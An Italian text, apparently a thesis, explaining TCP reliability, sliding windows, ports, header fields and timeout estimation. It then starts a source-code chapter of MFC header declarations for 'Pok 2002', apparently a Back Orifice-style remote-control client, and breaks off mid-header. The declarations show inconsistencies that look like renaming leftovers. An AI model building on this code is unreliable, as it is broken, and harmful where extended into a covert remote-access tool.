Quinto e ultimo punto: le connessioni TCP permettono il trasferimento contemporaneo dei dati in entrambe le direzioni, quello che nel gergo delle comunicazioni si chiama una connessione full-duplex. Si hanno cioè due flussi che scorrono indipendentemente in direzioni opposte, senza interagire fra loro. Le applicazioni hanno comunque la possibilità di passare alla modalità half duplex semplicemente bloccando uno dei due flussi di dati.

Ma in che modo il TCP garantisce quella affidabilità che manca all’IP? Il meccanismo di base utilizzato sia dal TCP che da molti altri protocolli cosiddetti "affidabili" è quello della ritrasmissione in caso di mancata conferma (positive acknowledgement with retrasmission). Si tratta di un meccanismo concettualmente semplice: ogni qual volta uno dei due interlocutori di una connessione spedisce dei dati, questi attende una conferma dell’avvenuta ricezione. Se questa arriva entro un tempo stabilito viene spedito il pacchetto successivo, altrimenti l’applicazione rispedisce quello precedente. Tale tempo viene misurato con un timer che viene fatto partire ogni volta che un pacchetto è spedito. Questo meccanismo risolve il problema dei pacchetti persi o danneggiati, ma può crearne un altro. Supponiamo che a causa di problemi di saturazione della rete un pacchetto ci metta molto più tempo del previsto ad arrivare. A questo punto il mittente, non vedendosi arrivare indietro la conferma ne rispedisce una copia. Succede così che il destinatario riceve a una certa distanza l’uno dall’altro due copie dello stesso pacchetto. Il problema della duplicazione dei pacchetti viene risolto facendo numerare sequenzialmente al mittente tutti i pacchetti da spedire e facendo verificare al destinatario la sequenza ricevuta. Naturalmente questo non vale solo per i messaggi ma anche per le conferme agli stessi. Infatti anche una conferma potrebbe venire erroneamente duplicata. Per evitare questo ogni conferma riporta il numero di sequenza del messaggio a cui si riferisce, permettendo così al mittente di verificare che a ogni messaggio spedito corrisponda una e solo una conferma di ricezione. È un po' lo stesso meccanismo di una raccomandata con ricevuta di ritorno.

In realtà gli algoritmi utilizzati dal TCP sono un po' più complicati, e tengono conto di tutta una serie di situazioni che si possono verificare. Senza contare che il tempo di attesa prima della ritrasmissione è un punto chiave di tutto il discorso. Se si attende troppo poco si rischia di generare un sacco di duplicati inutili, saturando per giunta la rete, mentre se si attende troppo si rischia di abbassare notevolmente e inutilmente le prestazioni della trasmissione dei dati, rallentando le applicazioni alle estremità della connessione.

Il meccanismo della conferma di ricezione con ritrasmissione ha inoltre un grosso svantaggio. Anche se i tempi di attesa sono scelti in modo ottimale, esso causa un notevole sottoutilizzo della rete. Infatti, indipendentemente dalla capacità della rete, i due interlocutori passano la maggior parte del tempo attendendo le varie conferme. È un po' come avere un tubo nel quale vengono fatte cadere una a una delle palline numerate in sequenza. All’altra estremità del tubo c’è una cesta poggiata su un prato, un po' distante dal foro di uscita. Se la pallina cade nella cesta fa rumore, altrimenti cade nel prato e non si sente niente. Se ogni volta che metto una pallina nel tubo aspetto di sentire il rumore che mi conferma che la pallina è caduta nel cesto, il tubo resta per la maggior parte del tempo vuoto. Una tecnica di ottimizzazione usata dal TCP per rendere più efficiente il meccanismo appena descritto è quella delle finestre di scorrimento (sliding window). Funziona più o meno in questo modo. Immaginate di immettere nel tubo una sequenza di dieci palline senza attendere che la prima sia arrivata. Come si sente il primo flop si aggiunge un’undicesima pallina, e poi una dodicesima e così via. Se si salta un flop si reinserisce una pallina con lo stesso numero di quella che non è arrivata, tanto il destinatario può comunque riordinare le palline utilizzando i numeri scritti sopra. Il numero di palline che compongono il trenino da spedire indipendentemente dalla ricezione del flop si chiama dimensione della finestra di scorrimento (sliding window size). Se si sceglie una dimensione tale da riempire tutto il tubo nella sua lunghezza si sfrutta al massimo la capacità dello stesso.

In pratica questo sistema divide la sequenza di pacchetti in tre fasce. La prima è rappresentata dai pacchetti spediti e di cui si è avuta la conferma di ricezione. La seconda è formata dai pacchetti spediti ma dei quali non si sa ancora niente, e la terza è formata dai pacchetti ancora da spedire. Con questa tecnica il TCP mantiene un timer per ogni singolo pacchetto che appartiene alla seconda fascia. Il nome "Finestra di scorrimento" deriva dal fatto che è come se ci fosse una finestra ampia quanto il trenino di pacchetti che possono essere spediti senza attendere la conferma dell’avvenuta ricezione che scorre in avanti un pacchetto alla volta ogni qual volta arriva una conferma. Anche in questo caso, come in quello del tempo di attesa prima di ritrasmettere un pacchetto, le dimensioni della finestra di scorrimento rappresentano un fattore critico per determinare l’efficenza del sistema. In generale, se le dimensioni della finestra sono maggiori del tempo di attesa per il singolo pacchetto, allora la finestra continua a scorrere regolarmente senza interruzioni, salvo nel caso di ritrasmissioni, e la capacità di carico della rete viene sfruttata al massimo.

Assegnazione delle porte di comunicazione
Affinché infatti due applicazioni possano comunicare fra di loro esse debbono conoscersi e il sistema di trasmissione che le serve deve sapere a chi effettivamente vanno recapitati i dati. È evidente che non basta l'indirizzo IP, che identifica univocamente un host nella rete. Basti pensare che un PC collegato in rete ha in genere un solo indirizzo IP, a meno che non sia collegato a più reti fisiche, come per esempio un gateway. Se una lettera viene spedita via rete a un certo indirizzo come fa TCP a sapere a quale applicazione deve far arrivare i dati? Un sistema potrebbe essere quello di assegnare un identificativo a ogni singola applicazione, ma come garantire allora l'univocità dell'identificativo? Senza contare che questo costringerebbe la controparte a sapere a priori tale valore per ogni possibile destinatario. Non è inoltre detto che un utente utilizzi sempre lo stesso programma per spedire o ricevere la posta elettronica. In realtà, più che la specifica applicazione, quello che è importante identificare è la funzione, come per esempio trasferire file oppure spedire posta elettronica.

La soluzione è quella di definire dei punti di ingresso e di uscita virtuali chiamati porte. Ogni porta rappresenta di fatto un punto di accesso a un'applicazione nel sistema. Si tratta in pratica di un'estensione del concetto di porta hardware. Un PC moderno, per esempio, può avere porte hardware parallele, seriali, video, audio e di vari altri tipi. Ad ogni porta possono essere attaccati dispositivi molto differenti. Per esempio, a una porta parallela è possibile attaccare una stampante, uno scanner, un'unità Cd-Rom oppure un'unità disco ad alta capacità. Tutti questi dispositivi non hanno bisogno di una porta specifica, ma possono utilizzare la stessa porta perché gestiscono flussi di dati simili, possono cioè usare lo stesso protocollo di base per la trasmissione dei dati. Ovviamente, a livello applicativo, ogni periferica darà ai propri dati una struttura differente. Questo vuol dire che i dati costruiti per una stampante non possono certo essere mandati a uno scanner. D'altra parte anche TCP non entra in merito della struttura applicativa dei dati, ma solo alle modalità di trasmissione degli stessi.

Ogni porta TCP è identificata da un numero. I numeri sotto il 256 sono utilizzati per le cosiddette "porte conosciute", cioè porte alle quali è stata assegnata una responsabilità ben precisa, mentre quelli al di sopra sono utilizzati per le assegnazioni dinamiche. Avremo per esempio una porta per i servizi di posta elettronica X.400 chiamata appunto X400 (103) alla quale faranno riferimento tutte le applicazioni che utilizzano tali servizi, oppure le due porte per il trasferimento dei file via FTP, una per il controllo (FTP, 21) e una per i dati (FTP-DATA, 20). Una lista delle porte conosciute attualmente assegnate è riportata nella RFC 1060, reperibile a ftp://ds.internic.net/rfc/rfc1060.txt Mentre in UDP la porta rappresenta un elemento sufficiente alla comunicazione, per cui il protocollo non fa altro che smistare i vari datagrammi nelle code dati (queue) associate alle varie porte . Una connessione è l'insieme di due punti, detti estremi della connessione (endpoint), ognuno identificato univocamente da due coordinate: l'indirizzo IP e il numero di porta. Una connessione è quindi rappresentata da ben quattro identificativi: gli indirizzi IP delle due macchine su cui girano le due applicazioni che si scambiano i dati, e i rispettivi numeri di porta. È importante capire che l'identificazione della connessione richiede tutti e quattro i valori, per cui la stessa porta con lo stesso indirizzo IP può essere condivisa simultaneamente da più connessioni senza creare alcun problema o ambiguità.

Ecco perché in TCP si pensa in termini di linea dedicata. È come se ci fosse un filo che lega univocamente i due interlocutori. Ogni interlocutore può avere più connessioni aperte nello stesso momento a partire dallo stesso capo purché non ce ne siano due con la stessa controparte. Il vantaggio è che una singola applicazione, per esempio di posta elettronica, necessita di una sola porta TCP per fornire servizi a molte macchine contemporaneamente attraverso differenti connessioni che condividono uno stesso estremo. Va tenuto presente che, anche se UDP e TCP usano gli stessi numeri per le porte, non esiste possibilità di confusione, dato che i pacchetti IP portano con sé l'identificativo del protocollo utilizzato che è ovviamente diverso per i due protocolli.

Affinché la connessione venga stabilita, entrambi gli estremi devono dare la loro autorizzazione. L'aggancio avviene nel seguente modo. Una delle due applicazioni che si vogliono connettere effettua un'apertura passiva (passive open), cioè informa il suo sistema che è disposta ad accettare una richiesta di connessione. TCP assegna all'applicazione un numero di porta. L'altra applicazione deve invece effettuare un'apertura attiva (active open), specificando l'indirizzo IP e la porta con la quale si vuole connettere. A questo punto i due livelli TCP stabiliscono la connessione e verificano che tutto sia a posto.

La gestione dei dati
Vediamo adesso come TCP gestisce i dati. Innanzi tutto, come già detto, TCP vede i dati come una sequenza non strutturata di ottetti, cioè byte, detto flusso di dati (data stream). Questo flusso viene diviso in segmenti ognuno dei quali viaggia di solito in un singolo pacchetto IP. Per aumentare l'efficienza della trasmissione, TCP utilizza una versione particolare del meccanismo a finestre di scorrimento spiegato sopra. Ricordo che questo meccanismo consiste nel mandare un gruppetto di dati prima di aver ricevuto la conferma di ricezione di ogni singolo pacchetto, in modo da tenere costantemente sotto carico la linea. Se infatti si dovesse attendere la conferma di ricezione per ogni singolo pacchetto prima di spedire il successivo la linea resterebbe per la maggior parte del tempo inutilizzata. Si dà insomma fiducia alla rete, partendo dal presupposto che la perdita di dati sia l'eccezione piuttosto che la regola.

Esistono tuttavia due importanti differenze tra il meccanismo base presentato prima e quello più sofisticato utilizzato effettivamente da TCP.

La prima è che l'unità base per i dati non è né il segmento né il pacchetto IP ma il singolo ottetto. Ogni ottetto viene numerato e TCP mantiene tre puntatori per ogni flusso di dati in uscita: uno che separa gli ottetti già spediti e arrivati felicemente a destinazione da quelli di cui non si hanno ancora notizie, uno che separa quelli già spediti da quelli che devono ancora essere spediti senza attendere la conferma di ricezione per i precedenti ottetti, e uno che separa questi ultimi da quelli che non possono essere spediti fintanto che la finestra non scorre in avanti. Una serie di informazioni speculari è mantenuta dal destinatario che deve ovviamente ricostruire il flusso di dati nel modo corretto indipendentemente dall'ordine di arrivo dei dati. Dato che una connessione è full-duplex, TCP manterrà quindi per ogni connessione due finestre di scorrimento, una per i dati in uscita e una per quelli in ingresso: un totale di quattro finestre per connessione considerando entrambi gli estremi. Esiste quindi un'asimmetria rispetto al meccanismo base dove l'unità dati utilizzata nella finestra di scorrimento era la stessa utilizzata nella trasmissione. Qui TCP utilizza il segmento come unità dati da trasmettere, mentre ragiona in termini di ottetti per quello che riguarda il meccanismo di ritrasmissione. 

La seconda differenza è che le dimensioni della finestra di scorrimento non sono fisse ma variano nel tempo in funzione della capacità di ricezione del destinatario. Ogni conferma di ricezione che ritorna al mittente contiene una soglia di capacità (window advertisement) che contiene il numero di ulteriori ottetti che il destinatario è in grado di ricevere. In pratica questo meccanismo permette di adattare la finestra di spedizione alle dimensioni del buffer di ricezione. Si tratta cioè di un meccanismo di controllo del flusso dei dati che limita il numero dei dati in ingresso man mano che il buffer di ricezione si riempie, fino a poter interrompere momentaneamente la trasmissione nel caso che si sia raggiunta la massima capacità di ricezione del destinatario. Basta infatti che il destinatario mandi una soglia uguale a zero perché il mittente interrompa la spedizione degli ottetti fino all'arrivo di una conferma di ricezione contenente di nuovo una soglia maggiore di zero.

In realtà il mittente non smette del tutto di mandare dati. Innanzi tutto, se ci sono dati urgenti da spedire, il mittente informa comunque il destinatario di tale necessità trasmettendo un segmento con un indicatore di urgenza al suo interno. Questo permette al destinatario di prendere delle contromisure per ricevere comunque i dati urgenti, per esempio aumentando le dimensioni del buffer. In secondo luogo, è sempre possibile che la conferma con soglia positiva che dovrebbe far ripartire la trasmissione dei dati vada perduta. Per questo motivo il mittente prova ogni tanto a far partire un segmento per vedere se per caso il destinatario è di nuovo pronto a ricevere i dati.

Il controllo di flusso
Il controllo del flusso dei dati è un aspetto estremamente importante in un sistema in cui sono collegate macchine anche molto differenti fra loro per dimensioni e capacità di trasmissione . Per controllo del flusso si intende la possibilità di regolare dinamicamente la quantità di dati che vengono immessi nella rete. Non solo è importante che il destinatario possa regolare la velocità di spedizione in funzione della sua capacità di ricezione, ma è fondamentale che ogni gateway intermedio possa frenare il flusso dei dati che riceve per evitare di entrare in saturazione. Il meccanismo appena descritto della soglia di capacità permette di risolvere il primo problema, non il secondo. Quest'ultimo è detto congestione, ed è estremamente importante perché non tenerne conto vuol dire mandare in tilt la rete.

Lo standard TCP non prevede alcun meccanismo di controllo della congestione, lasciando agli implementatori di tale protocollo il non banale compito di sviluppare una logica capace di evitare questo tipo di problemi.

Per quello che riguarda i segmenti, il fatto che TCP sia libero di dividere il flusso in segmenti può a volte causare problemi dal punto di vista applicativo. Per esempio, supponiamo di implementare via TCP/IP un terminale remoto. Questo vuol dire che tutte le operazioni effettuate con la tastiera e il mouse su di una macchina (chiamiamola locale) saranno visibili su di un'altra macchina (remota) come se esse fossero state effettuate dalla tastiera e dal mouse della macchina remota. Non solo: sarà possibile vedere lo schermo della macchina remota all'interno di una finestra della macchina locale . Questo tipo di applicazioni è molto utile per esempio se per un qualche motivo la macchina da controllare non ha una sua tastiera oppure si trova in un locale non generalmente accessibile all'operatore. È evidente che affinché l'applicazione funzioni essa debba lavorare in tempo reale. Se cioè si preme il tasto T sulla tastiera locale, la lettera T deve apparire immediatamente sullo schermo della macchina remota, e quindi apparire anche all'interno della finestra locale che riproduce tale schermo. Lo stesso se si fa click sul pulsante di chiusura di una finestra. Ovviamente se TCP fosse libero di accumulare questi comandi per poi spedirli tutti in una volta l'applicazione sarebbe di difficile utilizzo. Infatti, se l'operatore decidesse di chiudere una finestra dello schermo remoto per accedere un'icona sottostante e TCP non spedisse il comando fintanto che il buffer di partenza non fosse pieno, non sarebbe possibile eseguire l'operazione successiva, cioè

aprire l'icona sulla scrivania del sistema. Per questo motivo TCP prevede la possibilità di forzare la spedizione del buffer (push). Questo tuttavia non è sufficiente. Se infatti TCP che riceve i dati accumulasse gli stessi nel buffer di ricezione prima di passarli all'applicazione destinataria saremmo punto e da capo. Per questo motivo, quando un segmento è forzato in uscita, TCP imposta a uno un certo bit nell'intestazione del segmento in modo che questi possa venire riconosciuto e immediatamente passato all'applicazione remota.

Assimetria di banda impegnata.

Abbiamo detto che il TCP utilizza il metodo della finestra di scorrimento per tenere la rete sempre impegnata al massimo della sua capacità e che esiste un'importante differenza tra il meccanismo generale e quello più sofisticato utilizzato effettivamente dal TCP. Tale differenza consiste in un'asimmetria rispetto al meccanismo base dove l'unità dati utilizzata nella finestra di scorrimento era la stessa utilizzata nella trasmissione. Il TCP utilizza il segmento come unità dati da trasmettere, mentre ragiona in termini di ottetti per quello che riguarda il meccanismo di ritrasmissione. Questo comporta una complicazione nella gestione delle conferme di ricezione (acknowledgement).

A causa dell'asimmetria suddetta, la ritrasmissione in caso di mancata ricezione non avviene per segmenti, ma a livello di ottetti. Questo vuol dire che un segmento può contenere contemporaneamente sia nuovi dati sia una parte dei dati persi in precedenza. Ovviamente a queste condizioni ha poco senso numerare semplicemente i segmenti e usare questo identificativo nelle conferme di ricezione. Né è pensabile di usare i datagrammi IP a tale scopo, dato che questi sono generalmente di lunghezza fissa mentre i vari segmenti TCP sono di lunghezza variabile. Ne consegue che l'unico modo per gestire le conferme è quello di ragionare in termini di cursore all'interno del flusso di dati. Come dire "ho ricevuto i primi 300 caratteri della lettera che mi hai spedito".

Ecco che cosa accade: ogni segmento contiene la posizione dell'area dati del segmento TCP all'interno del flusso di dati. Tale posizione si chiama numero di sequenza (sequence number) ed è calcolata in byte. Il destinatario estrae i vari ottetti dai segmenti ricevuti e li ricompone per ricostruire il flusso dei dati, utilizzando i numeri di sequenza per riordinare i vari segmenti.

Questi possono infatti arrivare in qualunque ordine, o essere andati persi. A questo punto, chi sta ricevendo i dati, avrà ricostruito in modo completo una parte del messaggio originario e si ritroverà alcuni dati in eccesso che non sono contigui alla parte di flusso ricostruito. Ogni volta che il destinatario riceve un segmento, manda indietro nella conferma di ricezione il numero di sequenza dell'ottetto che si aspetta di ricevere per continuare la ricostruzione, cioè il valore dell'ultimo ottetto della parte contigua ricostruita più uno.

Immaginate di dover spedire una lettera a un vostro amico. Il TCP negozia con la controparte la lunghezza massima del segmento, come vedremo più avanti. Quindi inizia a riempire il primo segmento un carattere alla volta. Quando il segmento è pieno viene spedito e viene fatto partire il contatore a tempo per quel segmento. Quindi il TCP inizia a riempire il secondo segmento, che parte regolarmente, e così dicendo. Man mano che i segmenti partono arrivano dalla controparte le conferme di ricezione. Supponiamo che

a un certo punto, dopo aver spedito 450 ottetti, arrivi per due volte al mittente la conferma che il destinatario è riuscito a ricostruire il flusso fino al 300° carattere e che si aspetta il 301°. È evidente che qualcosa è andato storto e che si sono persi dei dati. Il TCP allora spedisce un segmento che contiene di nuovo dal 301° carattere in poi, diciamo fino al 400°. Dato che i caratteri dal 370° al 450° erano comunque arrivati regolarmente, il successivo messaggio di conferma richiederà direttamente il 451° carattere, e non il 401°.

L’implementazione.
Benché il TCP presenti all’utente una visione continua dei dati, detta flusso, l’unità di trasferimento dei dati del TCP è il segmento. Un segmento è formato come al solito da una intestazione e da un’area dati. Al contrario del datagramma IP, il segmento ha dimensioni variabili nel tempo, cioè i vari segmenti spediti a fronte di uno stesso flusso possono avere lunghezze differenti. I segmenti sono utilizzati dal TCP per aprire e chiudere una connessione, trasferire dati, spedire conferme di ricezione e modificare la finestra di spedizione, quel meccanismo che garantisce un utilizzo ottimale della rete, come spiegato in precedenza. Due caratteristiche peculiari del TCP sono che lo stesso segmento può portare contemporaneamente sia dati veri e propri sia dati di controllo, e che le informazioni di controllo possono riferirsi sia allo stesso flusso dell’area dati, sia al flusso opposto (piggybacking).

L’intestazione
Innanzitutto abbiamo i numeri di porta del mittente e del destinatario, esattamente come nell’UDP. Come già nell’UDP, infatti, gli indirizzi IP delle due controparti sono contenuti nell’intestazione del datagramma IP. Al contrario di quanto avveniva nell’UDP, tuttavia, la conoscenza da parte del TCP degli indirizzi IP non rompe il paradigma che vuole un certo isolamento fra le responsabilità dei vari livelli dello stack. Il TCP infatti, architetturalmente, ragiona in termini di connessioni, e queste comprendono sia l’informazione relativa alle porte, sia quella relativa agli indirizzi IP. Anzi, ogni qual volta l’IP consegna un segmento al TCP, gli passa anche gli indirizzi IP contenuti nell’intestazione del datagramma.

Anche nel caso del segmento TCP la verifica della correttezza dell’intestazione da parte del destinatario viene effettuata utilizzando un meccanismo di somma di controllo con pseudointestazione. All’interno dell’intestazione TCP, infatti, esiste un campo chiamato somma di controllo (checksum). Il TCP imposta inizialmente tale campo di 16 bit a zero. Costruisce quindi una psedointestazione che contiene gli indirizzi IP del mittente e del destinatario, il numero di protocollo del sottosistema di trasmissione (nel caso del TCP basato su IP è sei) e la lunghezza del segmento TCP compresa l’intestazione. A questo punto appende alla pseudo intestazione il segmento IP e aggiunge alla fine dello stesso tanti zeri quanti ne servono per far sì che il blocco risultante sia un multiplo di parole da 16 bit (padding). Divide quindi il blocco in parole da 16 bit e ne calcola la somma a complemento uno. Il risultato viene quindi salvato nel campo apposito dell’intestazione e sia la pseudointestazione sia i bit aggiunti in fondo vengono rimossi prima di spedire il segmento. Il destinatario ovviamente effettuerà un calcolo analogo per verificare che il valore di controllo così ottenuto corrisponda con quello arrivato nell’intestazione del segmento.

Nell’intestazione ci sono tre campi calcolati in ottetti. Il primo è il numero di sequenza (sequence number), che rappresenta la posizione dell’area dati del segmento TCP all’interno del flusso di dati. Il secondo è il numero di conferma (acknowledgement number), ovverosia il numero di sequenza dell’ottetto che il mittente si aspetta di ricevere per continuare la ricostruzione. Da notare che tale valore corrisponde al flusso opposto rispetto a quello in cui viaggia il segmento che lo contiene. Il terzo campo è il puntatore ai dati "urgenti". Come detto prima, è possibile che il TCP debba spedire dei dati urgenti che vanno elaborati indipendentemente dal flusso normale di dati, e con priorità rispetto a quest’ultimo. In questo caso il segmento contiene un segnalatore (flag) che informa il destinatario della presenza d’informazioni urgenti nell’area dati. I dati urgenti sono posizionati all’inizio dell’area dati, e il puntatore in questione indica dove tali dati finiscono e dove ricominciano i dati normali, se ce ne sono.

I segnalatori
Separati da un’area riservata per usi futuri c’è il campo che contiene la posizione dell’area dati nel segmento e un blocco di sei segnalatori. Il primo, misurato in parole da 32 bit, indica di fatto la lunghezza dell’intestazione del segmento in tale unità di misura. questo campo è necessario in quanto in fondo all’intestazione esiste una zona riservata a eventuali opzioni che rende la lunghezza dell’intestazione non fissata a priori. Il secondo campo contiene invece sei indicatori. Data infatti nel segmento la presenza contemporanea, almeno in potenza, sia di dati di controllo sia di dati applicativi normali e urgenti, è necessario utilizzare dei segnalatori per informare il destinatario su cosa effettivamente contiene il segmento. Tutti i segnalatori sono attivi se impostati a uno, inattivi altrimenti. Il primo segnalatore indica se l’area dati contiene dati urgenti. Il secondo indica la presenza nel segmento di una conferma di ricezione valida. Dato infatti che il campo corrispondente esiste sempre e comunque nell’intestazione, se il segmento non trasporta alcuna conferma di ricezione è necessario informare in qualche modo il destinatario che tale campo va ignorato. Il terzo bit è posto a uno quando si vuole forzare la trasmissione dei dati all’utente finale indipendentemente dal fatto che il buffer di ricezione sia o meno completamente riempito. Il quarto segnalatore serve per interrompere immediatamente la connessione (reset). Tale evento avviene solo in situazioni eccezionali e causa l’interruzione immediata delle trasmissioni da ambo le parti e il rilascio del contenuto dei buffer di ricezione. Il quinto bit è detto di sincronizzazione, ed è utilizzato durante la fase iniziale di negoziazione della connessione, detta in gergo handshake. In pratica, i segmenti scambiati quando questo bit è impostato a uno servono a sincronizzare i numeri di sequenza delle due controparti prima d’iniziare la trasmissione vera e propria dei dati. L’ultimo bit serve a informare il destinatario che il mittente intende terminare in modo pulito la connessione e che non ha più dati da spedire. All’apertura e alla chiusura della connessione il TCP utilizza un algoritmo chiamato saluto a tre vie (three-way handshake) che garantisce la corretta sincronizzazione delle due operazioni.

L’ultimo campo fisso è quello relativo alla soglia di capacità del mittente (window advertisement) che contiene il numero di ulteriori ottetti che esso è in grado di ricevere. A questo punto è di nuovo importante ricordare il concetto di piggybacking, a cui già si è accennato. Ovverosia, ogni segmento può portare contemporaneamente informazioni in cui una controparte è vista sia come chi spedisce i dati contenuti nel segmento, cioè come mittente, sia come chi ha ricevuto o deve ricevere dati dall’altro capo della connessione, cioè come destinatario. Quando noi parliamo di mittente, per evitare confusione, ci riferiamo sempre al mittente del segmento di cui stiamo parlando. È importante comunque tenere sempre presente che alcuni dati del segmento hanno senso solo se si considera il mittente quale destinatario di dati precedenti o ancora da venire.

In fondo all’intestazione c’è un’area opzionale che può essere utilizzata a vari scopi. In genere essa contiene opzioni che permettono alle due controparti di negoziare alcuni aspetti della comunicazione. Un esempio è il calcolo della lunghezza ottimale del segmento.

L’implementazione del protocollo TCP
Abbiamo visto che tutto il meccanismo funziona ed è affidabile grazie alle conferme di ricezione e alla ritrasmissione dei pacchetti probabilmente andati perduti. Ma come fa a sapere il mittente che un pacchetto è andato effettivamente perduto? Ovviamente perché non è arrivata la conferma di ricezione, direte voi. Va bene, ma quanto devo aspettare tale conferma prima di assumere che sia necessaria una ritrasmissione? E qui son dolori. Se aspetto troppo rischio di rallentare la comunicazione in modo inaccettabile. Se aspetto troppo poco rischio di ritrasmettere inutilmente troppi segmenti, magari semplicemente un po’ in ritardo. Tutto il sistema si basa sul calcolo del tempo di attesa massimo, o timeout. Il TCP calcola il timeout sulla base del tempo intercorso fra la spedizione di un segmento e l’arrivo della conferma corrispondente. Sembra facile, ma non è così. Vediamo rapidamente i punti chiave del discorso.

· Il TCP calcola continuamente il timeout, ogni volta che arriva una conferma di ricezione. In questo modo il sistema è sempre aggiornato in funzione dello stato effettivo della connessione e della rete. 

· Il timeout è calcolato come media pesata dei tempi intercorsi fra la spedizione del segmento e la ricezione della conferma. Chiamiamo quest’ultimo tempo rilevato di andata e ritorno (Round Trip Sample) o RTS. Il tempo stimato di andata e ritorno (Round Trip Time) è calcolato utilizzando una formula algoritmica. In pratica ogni nuovo RTS pesa più o meno sul calcolo dell’RTT in base al valore di alfa. Se alfa è molto vicina a zero, l’RTT varia rapidamente a ogni cambiamento dell’RTS, per cui il sistema risponde rapidamente alle variazioni. Se viceversa alfa è vicina a uno, è necessario che la nuova RTS rimanga stabile più a lungo per avere effetto sull’RTT. 

A questo punto il timeout viene calcolato moltiplicando l’RTT per un valore maggiore di uno. Se il valore di beta è troppo vicino a uno la perdita di un pacchetto viene immediatamente rilevata, ma si rischia di ritrasmettere più pacchetti del necessario. Se viceversa beta è troppo alto si rischia di aspettare troppo a lungo prima di ritrasmettere un pacchetto perso, abbassando così le prestazioni della connessione. In genere si raccomanda per beta un valore di due. La scelta di alfa e di beta sembra dunque essere critica, ma i problemi non sono ancora finiti. Infatti, se un segmento è trasmesso due volte, quando arriva la conferma di ricezione, a chi si riferisce? Al pacchetto originale o a quello ritrasmesso? Se usiamo il primo pacchetto per il calcolo dell’RTS rischiamo di far crescere esponenzialmente il valore di timeout. Infatti un pacchetto è ritrasmesso quando scade il timeout precedente. Di conseguenza il nuovo RTS è ovviamente più grande del vecchio timeout. Se viene perso un nuovo pacchetto l’RTS cresce ancora, e così via. Se usiamo il pacchetto ritrasmesso abbiamo il problema opposto, cioè il timeout rischia di ridursi sempre di più, o almeno si è dimostrato sperimentalmente che si stabilizza su valori alquanto bassi. Supponiamo infatti di avere un ritardo in rete: la conferma di ricezione arriva conseguentemente in ritardo. Nel frattempo il mittente ha rispedito il pacchetto che credeva perso. Appena arriva la conferma questa è associata al segmento ritrasmesso generando così un RTS molto piccolo. Il timeout si riduce, aumentando il rischio di considerare persi pacchetti la cui conferma di ricezione arriva in ritardo, e così via.

P. Karn propose nel 1987 d’ignorare i pacchetti ritrasmessi nel calcolo del timeout. Questo evitava il problema suddetto, ma ne creava un altro. Se un pacchetto è ritrasmesso perché si è avuto un repentino calo di prestazioni della rete, il timeout rimarrà sempre troppo basso, in quanto il mittente continuerà a ritrasmettere pacchetti le cui conferme arrivano in ritardo rispetto al timeout calcolato prima del calo di prestazioni. Dato che tali conferme vengono regolarmente ignorate per il calcolo dell’RTT, il timeout non viene più aggiornato almeno fintanto che la rete non torna normale, cosa per giunta complicata dal sovraccarico dovuto all’inutile ritrasmissione dei pacchetti. La soluzione consiste nell’aumentare il timeout precedente a una ritrasmissione di un fattore arbitrario, diciamo gamma, fino a un limite massimo ragionevole calcolato sulla base dei possibili cammini all’interno della rete (riquadro 1). In genere gamma non è minore di due.

Questa tecnica è detta di backoff.
Cap.8     Codici sorgenti

Sezione di esposizione codici Header files. (Pok_config.exe)

Classi e intestazione relative al programma Pok_config.exe

/*  Pok 2002 (il ragno che insidia la rete) */

// pokgui.h : File di intestazione per l’applicazione Pok_Client 

#if !defined(AFX_POKGUI_H__720D7699_A7E5_11D2_ADC4_0000F8084273__INCLUDED_)

#define AFX_POKGUI_H__720D7699_A7E5_11D2_ADC4_0000F8084273__INCLUDED_

#if _MSC_VER > 1000

#pragma once

#endif // _MSC_VER > 1000

#ifndef __AFXWIN_H__


#error include 'stdafx.h' before including this file for PCH

#endif

#include "resource.h"       // Simboli principali e icone

#include <iohandler.h>

#include <encryption.h>

// POKGuiApp:l’implementazione di questa classe si trova nel file pokgui.cpp

class POKGuiApp : public CWinApp

{

public:


POKGuiApp();


void NewDocumentFile();


public:


virtual BOOL InitInstance();


virtual CDocument* OpenDocumentFile(LPCTSTR lpszFileName);


virtual int ExitInstance();

// Implementazione dei metodi della classe


afx_msg void OnAppAbout();


DECLARE_MESSAGE_MAP()

};

extern POKGuiApp theApp;

#endif 

/*  Pok 2002 (il ragno che insidia la rete) */

//PokmdDescList.h: interfaccia utilizzata dalla classe POKCmdDescList .

#if !defined(AFX_POKMDDESCLIST_H__AA5D7642_AB9E_11D2_ADC4_0000F8084273__INCLUDED_)

#define AFX_POKMDDESCLIST_H__AA5D7642_AB9E_11D2_ADC4_0000F8084273__INCLUDED_

#if _MSC_VER > 1000

#pragma once

#endif // _MSC_VER > 1000

#define MAX_BO_COMMANDS 1024

class POKCmdDescList  

{

private:


typedef struct {



BOOL bNative;



char svFolderName[32];



char svCommName[32];



char svArgDesc1[32];



char svArgDesc2[32];



char svArgDesc3[32];


} BO_COMMAND_DESC; 


BO_COMMAND_DESC m_descList[MAX_BO_COMMANDS];

public:


POKCmdDescList();


virtual ~CBOCmdDescList();


void SetNativeCommands(void);


void SetDesc(int nCommand);


void SetDesc(int nCommand, char *szFolderName, char *szCommName, char *szArgDesc1, char *szArgDesc2, char *szArgDesc3, BOOL bNative=FALSE);


int  GetCommand(char *szFolderName, char *szCommName);


void FillTreeCtrl(CTreeCtrl *pTree);


char *GetFolderName(int nCommand);


char *GetCommName(int nCommand);


char *GetArgDesc1(int nCommand);


char *GetArgDesc2(int nCommand);


char *GetArgDesc3(int nCommand);

};

#endif 

/*  Pok 2002 (il ragno che insidia la rete) */

// pokServerDlg.h : header file

#if !defined(AFX_poERVERDLG_H__382F75C2_A9A8_11D2_ADC4_0000F8084273__INCLUDED_)

#define AFX_poSERVERDLG_H__382F75C2_A9A8_11D2_ADC4_0000F8084273__INCLUDED_

#if _MSC_VER > 1000

#pragma once

#endif // _MSC_VER > 1000

// pokServerDlg.h : header file

#include"pokmdDescList.h"

#include"pokWDoc.h"

#include"HistoryEdit.h"

#include"auth.h"

// PokServerDlg dialog

class PokServerDlg : public CDialog

{

// construttore

public:


PokServerDlg(CWnd* pParent = NULL);   // construttore standard


~PokServerDlg();


void SetServerInfo(SERVER_INFO *si);


void UpdateDialog(void);


void HandleNetworkPoll(void);


void HandleCommandResponse(char *svArg2);


int PerformQuery();



friend UINT ServerListenThread(LPVOID pParam);


enum { IDD = IDD_BOSERVERDLG };



// NOTA: L’assistentethe aggiungerà le funzioni membro in questo punto


BOOL


m_bHandleNetwork;


BOOL


m_bIsConnected;


CHistoryEdit

m_HistEdit;


CFont


m_HistFont;


public:


protected:


virtual void DoDataExchange(CDataExchange* pDX);    //  supporto per DDX/DDV


